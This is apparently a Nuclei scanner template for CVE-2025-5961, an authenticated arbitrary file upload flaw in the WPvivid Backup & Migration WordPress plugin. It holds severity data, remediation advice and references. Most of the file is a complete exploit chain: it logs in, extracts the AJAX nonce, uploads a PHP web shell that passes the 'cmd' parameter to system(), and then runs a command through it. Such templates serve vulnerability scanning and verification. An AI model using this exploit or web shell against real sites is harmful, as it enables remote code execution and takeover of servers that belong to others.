The Migration, Backup, Staging – WPvivid Backup & Migration plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'wpvivid_upload_import_files' function in all versions up to, and including, 0.9.116.
PoC代码[已公开]
id: CVE-2025-5961
info:
name: WordPress WPvivid Backup & Migration Plugin <= 0.9.116 - Authenticated Arbitrary File Upload
author: pussycat0x
severity: high
description: |
The Migration, Backup, Staging – WPvivid Backup & Migration plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'wpvivid_upload_import_files' function in all versions up to, and including, 0.9.116.
impact: |
An authenticated attacker can upload arbitrary files, including PHP files, which can lead to remote code execution, complete system compromise, and unauthorized access to sensitive data.
remediation: |
Update the WPvivid Backup & Migration plugin to a version that addresses this vulnerability or remove the plugin if no fix is available.
reference:
- https://github.com/Nxploited/CVE-2025-5961
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wpvivid-backuprestore/migration-backup-staging-wpvivid-backup-migration-09116-authenticated-administrator-arbitrary-file-upload
classification:
epss-score: 0.02169
epss-percentile: 0.83724
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2025-5961
cwe-id: CWE-434
metadata:
verified: true
max-request: 4
publicwww--query: "/plugins/wpvivid-backuprestore/"
tags: cve,cve2025,wordpress,,wp-plugin,intrusive,wpvivid-backuprestore,authenticated,file-upload,backup
variables:
payload: '<?php echo "<br>"; if(isset($_GET["cmd"])){ echo "<pre>"; system($_GET["cmd"]); echo "</pre>"; } ?>'
cmd: 'id'
filename: "{{rand_text_alpha(12)}}"
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?page=wpvivid-export-import HTTP/1.1
Host: {{Hostname}}
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=0b9e4b9be0f532af74af1582b95632f2
--0b9e4b9be0f532af74af1582b95632f2
Content-Disposition: form-data; name="action"
wpvivid_upload_import_files
--0b9e4b9be0f532af74af1582b95632f2
Content-Disposition: form-data; name="_ajax_nonce"
{{ajax_nonce}}
--0b9e4b9be0f532af74af1582b95632f2
Content-Disposition: form-data; name="async-upload"; filename="{{filename}}.php"
Content-Type: application/x-php
{{payload}}
--0b9e4b9be0f532af74af1582b95632f2
Content-Disposition: form-data; name="name"
{{filename}}.php
--0b9e4b9be0f532af74af1582b95632f2--
- |
GET wp-content/wpvividbackups/ImportandExport/{{filename}}.php?cmd={{cmd}} HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body_3
words:
- '{"result":"success"}'
- type: regex
part: body_4
regex:
- 'uid=([0-9(a-z-)]+) gid=([0-9(a-z-)]+) groups=([0-9(a-z-)]+)'
extractors:
- type: regex
part: body_2
group: 1
internal: true
name: ajax_nonce
regex:
- '"ajax_nonce":"([a-f0-9]+)"'
# digest: 4b0a00483046022100b911d807816ba7143c2b5a6f2160762e6ef29fa8dd1b0a9d3b863ddcf92fd58b022100c3bae282b3d575e3395456ea0c884408ce90ca22f737f403ca576034e32f8232:922c64590222798bb761d5b6d8e72950